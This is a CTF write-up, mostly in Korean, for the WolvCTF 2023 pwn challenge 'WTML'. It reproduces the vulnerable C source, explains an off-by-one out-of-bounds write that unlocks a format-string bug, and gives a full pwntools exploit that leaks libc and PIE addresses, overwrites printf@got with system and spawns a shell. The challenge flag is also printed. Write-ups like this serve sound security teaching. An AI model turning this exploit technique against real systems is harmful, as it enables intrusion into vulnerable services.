WolvCTF 2023 - WTML (pwn, oob)

This cool intermediate service receives WTML bodies and replaces tags. How useful! Is it vulnerable?
nc wtml.wolvctf.io 1337

  • [21 solves / 489 points]

소스코드가 주어져 있고 길이도 짧아서 포너블 문제 중에 가장 먼저 손대봤다.

Analysis

소스코드가 주어져 있어서 소스코드위주로 분석했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#include <errno.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#define MESSAGE_LEN 0x20

typedef void (*tag_replacer_func)(char *message, char from, char to);

typedef struct tag_replacer {
uint8_t id;
tag_replacer_func funcs[2];
} __attribute__((packed)) tag_replacer;

void replace_tag_v1(char *message, char from, char to) {
size_t start_tag_index = -1;
for (size_t i = 0; i < MESSAGE_LEN - 2; i++) {
if (message[i] == '<' && message[i + 1] == from && message[i + 2] == '>') {
start_tag_index = i;
break;
}
}
if (start_tag_index == -1) return;

for (size_t i = start_tag_index + 3; i < MESSAGE_LEN; i++) {
if (message[i] == '<' && message[i + 1] == '/' && message[i + 2] == from) {
size_t end_tag_index = i;
message[start_tag_index + 1] = to;
message[end_tag_index + 2] = to;
return;
}
}
}

void replace_tag_v2(char *message, char from, char to) {
printf("[DEBUG] ");
printf(message);

// TODO implement

printf("Please provide feedback about v2: ");
char response[0x100];
fgets(response, sizeof(response), stdin);

printf("Your respones: \"");
printf(response);

puts("\" has been noted!");
}

void prompt_tag(const char *message, char *tag) {
puts(message);
*tag = (char) getchar();

if (getchar() != '\n' || *tag == '<' || *tag == '>') exit(EXIT_FAILURE);
}

int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);

tag_replacer replacer = {
.funcs = {replace_tag_v1, replace_tag_v2},
.id = 0,
};
char user_message[MESSAGE_LEN] = {0};

puts("Please enter your WTML!");
fread(user_message, sizeof(char), MESSAGE_LEN, stdin);

while (true) {
// Replace tag
char from = 0;
prompt_tag("What tag would you like to replace [q to quit]?", &from);

if (from == 'q') {
exit(EXIT_SUCCESS);
}

char to = 0;
prompt_tag("With what new tag?", &to);

replacer.funcs[replacer.id](user_message, from, to);

puts(user_message);
}
}

아래 부분을 유의있게 살펴보자.

1
replacer.funcs[replacer.id](user_message, from, to);

replacer.id는 0으로 초기화되어있고, 바로 입력할 수 있는 부분이 없기 때문에 겉으로 보기엔 replace_tag_v1 함수만 계속 실행된다. 하지만 replace_tag_v2에서 FSB가 발생하기 때문에 저 함수를 실행시켜야하는데 저 함수를 실행시키려면 replacer.id를 1로 세팅해야한다. 하지만 이걸 어떻게 세팅해야 할까? main 함수에서 흐름을 바꿀 취약점이 보이지 않는다.

replace_tag_v1 함수는 무조건 실행되니까 이 함수에서 취약점을 찾아서 replace_tag_v2 함수를 실행시켜 FSB를 트리거하는 방향으로 생각해야 한다.

replace_tag_v1 함수만 떼어놓고 분석해보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void replace_tag_v1(char *message, char from, char to) {
size_t start_tag_index = -1;
for (size_t i = 0; i < MESSAGE_LEN - 2; i++) {
if (message[i] == '<' && message[i + 1] == from && message[i + 2] == '>') {
start_tag_index = i;
break;
}
}
if (start_tag_index == -1) return;

for (size_t i = start_tag_index + 3; i < MESSAGE_LEN; i++) {
if (message[i] == '<' && message[i + 1] == '/' && message[i + 2] == from) {
size_t end_tag_index = i;
message[start_tag_index + 1] = to;
message[end_tag_index + 2] = to;
return;
}
}
}

MESSAGE_LEN은 0x20으로 고정되어 있다. 참고로 meesage, from, to 모두 입력값이다. 첫 번째 반복문에서 start_tag_index<[from]>이 나오는, 즉 <의 인덱스를 의미한다. 반복문을 볼 떄는 항상 반복문 조건의 인덱스 범위가 반복문 내부에서 사용하는 인덱스 범위를 넘어가지 않는지 항상 주시를 해야한다.

두 번째 반복문에서는 start_tag_index+3, 즉 <[from]> 다음 인덱스부터 사용한다. 문제는 인덱스가 MESSAGE_LEN-1 일 때 message[i+2]에 접근한다. OOB가 발생한다. 사실 이거보다 더 중요한건 message[end_tag_index + 2] = to; 이 구문이다. 접근함에도 모자라 값을 쓰고 있다! 정확한 디버깅을 통해 저 부분이 replacer.id라면 1로 세팅해줄 수 있다.

Solve

FSB를 트리거할 수 있으면 익스플로잇은 간단하다. pie baselibc base를 구한 다음에 printf@gotsystem으로 덮고 입력을 조절할 수 있으므로 /bin/sh\x00를 보내면 끝이다!

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

context.arch = 'amd64'

p = process('./chall')
p = remote('wtml.wolvctf.io', 1337)
e = ELF('./chall')
libc = ELF('./libc.so.6')

payload = b''
payload += b'<' + b'\x00' + b'>'
payload += b'ccccccccccccccccccccccccccc'
payload += b'</'

p.sendafter('WTML!\n', payload)
p.sendlineafter('quit]?\n', b'\x00') ## from
p.sendlineafter('tag?\n', b'\x01') ## to

p.sendlineafter('quit]?\n', b'\x00') ## from
p.sendlineafter('tag?\n', b'\x01') ## to

# offset 8

# (1)
# pie 24 -0x3520
# libc 13 -0x8ee8d
payload = b'%13$p_%24$p'

p.sendlineafter('v2:', payload)

p.recvuntil('0x')
libc.address = int(p.recv(12), 16) - 0x8ee8d
p.recvuntil('_0x')
e.address = int(p.recv(12), 16) - 0x3520

info(hex(libc.address))
info(hex(e.address))

p.sendlineafter('quit]?\n', b'\x00') ## from
p.sendlineafter('tag?\n', b'\x01') ## to

# (2)
# printf@got -> system
payload = b''
payload += fmtstr_payload(8, {
e.got['printf'] : libc.symbols['system']
})

p.sendlineafter('v2:', payload)

p.sendlineafter('quit]?\n', b'\x00') ## from
p.sendlineafter('tag?\n', b'\x01') ## to

# "Your respones: \"" => /bin/sh
p.sendline(b'sh\x00')

p.interactive()

Flag

1
wctf{0ff_by_0ne_@nd_y0ure_d0ne!!11!!}